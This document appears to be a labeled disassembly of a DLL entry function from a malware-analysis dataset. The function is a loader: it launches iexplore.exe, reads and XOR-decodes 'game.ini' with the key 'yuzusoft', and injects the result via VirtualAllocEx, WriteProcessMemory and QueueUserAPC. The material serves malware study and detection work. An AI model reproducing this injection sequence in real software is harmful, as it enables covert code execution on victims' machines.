Function at 0x10001070
Capabilities:
Create process on windows
Encode data using xor
Inject apc
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x140
mov esi, esp
mov dword [esi + 0x128], ebp
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x12c], esp
mov dword [esi + 0x138], 0xffffffff
lea ecx, [esi + 0x130]
mov dword [esi + 0x134], 0x10003990
mov edx, dword fs:[0]
mov dword [esi + 0x130], edx
mov dword fs:[0], ecx
cmp eax, 1
jne 0x10001863
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov dword [esi + 0x60], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x64], 0
push 0x40
call fcn.10005be0
add esp, 4
mov dword [esi + 0x58], eax
mov dword [esi + 0x68], 0x35
mov dword [esi + 0x6c], 0x3f
movups xmm0, xmmword [str.C:Program_Files__x86_Internet_Exploreriexplore.exe]
movups xmmword [eax], xmm0
movups xmm0, xmmword [0x10008951]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [0x10008961]
movups xmmword [eax + 0x20], xmm0
movsd xmm0, qword [0x1000896e]
movsd qword [eax + 0x2d], xmm0
mov dword [esi + 0x10], eax
mov byte [eax + 0x35], 0
mov dword [esi + 0x138], 0
push 0x40
call fcn.10005be0
add esp, 4
mov edi, eax
mov ebx, dword [esi + 0x10]
movsd xmm0, qword [ebx + 0x2e]
movsd qword [eax + 0x2e], xmm0
movups xmm0, xmmword [ebx + 0x20]
movups xmmword [eax + 0x20], xmm0
movups xmm0, xmmword [ebx]
movups xmm1, xmmword [ebx + 0x10]
movups xmmword [eax + 0x10], xmm1
movups xmmword [eax], xmm0
xorps xmm0, xmm0
movups xmmword [esi + 0xa4], xmm0
movups xmmword [esi + 0x94], xmm0
movups xmmword [esi + 0x84], xmm0
movups xmmword [esi + 0x74], xmm0
mov dword [esi + 0x70], 0x44
movaps xmmword [esi + 0x40], xmm0
sub esp, 0x28
lea eax, [esi + 0x40]
mov dword [esp + 0x24], eax
lea eax, [esi + 0x70]
mov dword [esp + 0x20], eax
movaps xmm0, xmmword [0x100080e0]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], edi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100011ea
mov eax, dword [esi + 0x40]
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x44]
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x48]
mov dword [esi + 0x38], eax
jmp 0x100011ff
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0xffffffff
mov dword [esi + 0x18], 0xffffffff
push 0x40
push edi
call fcn.10005c15
add esp, 8
push 0x40
push ebx
call fcn.10005c15
add esp, 8
mov dword [esi + 0x68], 8
mov dword [esi + 0x6c], 0xf
movaps xmm0, xmmword [str.yuzusoft]
movups xmmword [esi + 0x58], xmm0
mov dword [esi + 0x70], 0x10008108
lea ecx, [esi + 0xe0]
mov dword [esi + 0x138], 1
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::ios_base::constructor_void_]
mov dword [esi + 0xe0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [esi + 0x118], 0
mov dword [esi + 0x11c], 0
mov byte [esi + 0x120], 0
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
mov dword [esi + eax + 0x70], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
lea ecx, [eax - 0x70]
mov dword [esi + eax + 0x6c], ecx
lea edx, [esi + 0x80]
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
mov dword [esi + eax + 0x70], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
lea ecx, [eax - 0x18]
mov dword [esi + eax + 0x6c], ecx
mov dword [esi + 0x7c], 0
mov dword [esi + 0x78], 0
mov eax, dword [esi + 0x70]
mov ecx, dword [eax + 4]
lea eax, [esi + 0x70]
add ecx, eax
mov dword [esi + 0x138], 3
push 0
push edx
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::init_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
mov dword [esi + eax + 0x70], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
lea ecx, [eax - 0x70]
mov dword [esi + eax + 0x6c], ecx
lea ecx, [esi + 0x80]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [esi + 0x80], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0xc8], 0
mov byte [esi + 0xbd], 0
lea ecx, [esi + 0x80]
lea eax, [ecx + 4]
mov dword [esi + 0x10], eax
mov dword [esi + 0x8c], eax
lea eax, [ecx + 8]
mov dword [esi + 0x14], eax
mov dword [esi + 0x90], eax
lea eax, [ecx + 0x14]
mov dword [esi + 0xc], eax
mov dword [esi + 0x9c], eax
lea eax, [ecx + 0x18]
mov dword [esi + 0x1c], eax
mov dword [esi + 0xa0], eax
lea eax, [ecx + 0x24]
mov dword [esi + 0x34], eax
mov dword [esi + 0xac], eax
lea eax, [ecx + 0x28]
mov dword [esi + 0x30], eax
mov dword [esi + 0xb0], eax
mov dword [esi + 0x88], 0
mov dword [esi + 0x98], 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0x84], 0
mov dword [esi + 0x94], 0
mov dword [esi + 0xa4], 0
mov dword [esi + 0xcc], 0
mov dword [esi + 0xb8], 0
mov dword [esi + 0xc4], 0
mov dword [esi + 0xc0], 0
mov dword [esi + 0x138], 4
push 0x40
push 0x21
push str.game.ini
call sub.MSVCP140.dll_struct__iobuf____cdecl_std::_Fiopen_char_const___int__int_
add esp, 0xc
mov edi, eax
test eax, eax
je 0x100015ab
mov byte [esi + 0xc8], 1
mov byte [esi + 0xbd], 0
mov eax, dword [esi + 0x10]
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x14]
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0xc]
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x1c]
mov dword [esi + 0xa0], eax
mov eax, dword [esi + 0x34]
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0x30]
mov dword [esi + 0xb0], eax
mov dword [esi + 0x88], 0
mov dword [esi + 0x98], 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0x84], 0
mov dword [esi + 0x94], 0
mov dword [esi + 0xa4], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x20], 0
lea eax, [esi + 0x20]
lea ecx, [esi + 0x24]
push eax
push ecx
lea ebx, [esi + 0x40]
push ebx
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
add esp, 0x10
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 0x40]
mov dword [esi + 0x8c], edx
mov dword [esi + 0x90], edx
mov dword [esi + 0x9c], ecx
mov dword [esi + 0xa0], ecx
mov dword [esi + 0xac], eax
mov dword [esi + 0xb0], eax
mov dword [esi + 0xcc], edi
mov dword [esi + 0xb8], 0
mov dword [esi + 0xc4], 0
mov dword [esi + 0xc0], 0
lea ecx, [esi + 0x80]
push ebx
call dword [sym.imp.MSVCP140.dll_public:_class_std::locale___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void_]
mov dword [esi + 0x138], 5
mov ecx, ebx
call fcn.10001980
mov edi, eax
mov eax, dword [eax]
mov ecx, edi
call dword [eax + 0xc]
xor ecx, ecx
test al, al
jne 0x1000158b
mov eax, dword [esi + 0x10]
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x14]
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0xc]
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x1c]
mov dword [esi + 0xa0], eax
mov eax, dword [esi + 0x34]
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0x30]
mov dword [esi + 0xb0], eax
mov dword [esi + 0x88], 0
mov dword [esi + 0x98], 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0x84], 0
mov dword [esi + 0x94], 0
mov dword [esi + 0xa4], 0
mov ecx, edi
mov dword [esi + 0xb8], ecx
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x100015c7
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x100015c7
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
jmp 0x100015c7
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
lea ecx, [esi + eax]
add ecx, 0x70
mov eax, dword [esi + eax + 0x7c]
or eax, 2
push 0
push eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov eax, dword [esi + 0x70]
lea ecx, [esi + 0x70]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::fail_void_const]
xor edi, edi
mov dword [esi + 0x14], 0
test al, al
jne 0x100016e3
mov dword [esi + 0x138], 2
lea ecx, [esi + 0x70]
push 2
push 0
push 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea ecx, [esi + 0x70]
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov eax, dword [esi + 0x48]
add eax, dword [esi + 0x40]
test eax, eax
mov dword [esi + 0x10], eax
je 0x10001655
js 0x1000187e
cmp eax, 0x1000
jb 0x10001665
add eax, 0x23
push eax
call fcn.10005be0
add esp, 4
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x10001670
mov dword [esi + 0x14], 0
mov dword [esi + 0xc], 0
jmp 0x10001691
push eax
call fcn.10005be0
add esp, 4
mov edi, eax
mov ebx, dword [esi + 0x10]
push ebx
push 0
push edi
call fcn.10003a10
add esp, 0xc
mov dword [esi + 0x24], edi
mov dword [esi + 0xc], edi
lea eax, [edi + ebx]
mov dword [esi + 0x28], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x2c], eax
lea ecx, [esi + 0x70]
push 0
push 0
push 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
mov eax, dword [esi + 0xc]
lea ecx, [esi + 0x70]
push 0
push dword [esi + 0x10]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [esi + 0x80]
call fcn.10001ba0
mov edi, dword [esi + 0xc]
test eax, eax
jne 0x100016e3
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
lea ecx, [esi + eax]
add ecx, 0x70
mov eax, dword [esi + eax + 0x7c]
or eax, 2
push 0
push eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
mov edi, dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x2710
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esi + 0xc], edi
mov ecx, dword [esi + 0x14]
sub ecx, edi
je 0x10001778
xor eax, eax
mov edi, 1
mov edx, 0
cmp ecx, 2
mov dword [esi + 0x14], ecx
cmovae edi, ecx
mov dword [esi + 0x1c], edi
mov edi, dword [esi + 0xc]
jb 0x10001757
mov eax, dword [esi + 0x1c]
and eax, 0xfffffffe
mov dword [esi + 0x10], eax
xor eax, eax
xor edx, edx
mov ebx, 0
nop
cmp eax, 8
cmovae eax, ebx
movzx ecx, byte [esi + eax + 0x58]
xor byte [edi + edx], cl
inc eax
cmp eax, 8
cmovae eax, ebx
movzx ecx, byte [esi + eax + 0x58]
xor byte [edi + edx + 1], cl
add edx, 2
inc eax
cmp dword [esi + 0x10], edx
jne 0x10001730
test byte [esi + 0x1c], 1
je 0x10001770
xor ecx, ecx
cmp eax, 8
cmovb ecx, eax
movzx eax, byte [esi + ecx + 0x58]
mov ecx, dword [esi + 0xc]
xor byte [ecx + edx], al
mov edi, dword [esi + 0x18]
mov ebx, dword [esi + 0x14]
jmp 0x1000177d
xor ebx, ebx
mov edi, dword [esi + 0x18]
mov dword [esi + 0x40], 0
push 4
push 0x3000
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
xor eax, eax
test ecx, ecx
mov dword [esi + 0x14], ebx
je 0x10001809
lea eax, [esi + 0x40]
push eax
push ebx
push dword [esi + 0xc]
mov dword [esi + 0x10], ecx
push ecx
mov dword [esi + 0x18], edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100017f4
cmp dword [esi + 0x40], ebx
jne 0x100017f4
mov dword [esi + 0x20], 0
lea eax, [esi + 0x20]
push eax
push 0x20
push ebx
mov ebx, dword [esi + 0x10]
push ebx
mov edi, dword [esi + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x100017f0
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor ebx, ebx
mov eax, ebx
jmp 0x10001809
push 0x8000
push 0
push dword [esi + 0x10]
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
push 0
mov ebx, dword [esi + 0x3c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
push dword [esi + 0x38]
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi + 0x18]
call edi
push ebx
call edi
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x1000185b
mov edx, dword [esi + 0x14]
cmp edx, 0x1000
jb 0x10001851
mov eax, dword [ecx - 4]
sub ecx, eax
add ecx, 0xfffffffc
cmp ecx, 0x20
jae 0x10001883
add edx, 0x23
mov ecx, eax
push edx
push ecx
call fcn.10005c15
add esp, 8
lea ecx, [esi + 0x70]
call fcn.10001c70
mov eax, dword [esi + 0x130]
mov dword fs:[0], eax
mov eax, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
call fcn.10001b90
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop dword [eax]
push ebp
sub esp, 0x28
lea esi, [ebp - 0x13c]
mov ebp, dword [esi + 0x128]
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x100018b8
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x100018b8
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
add esp, 0x28
pop ebp
ret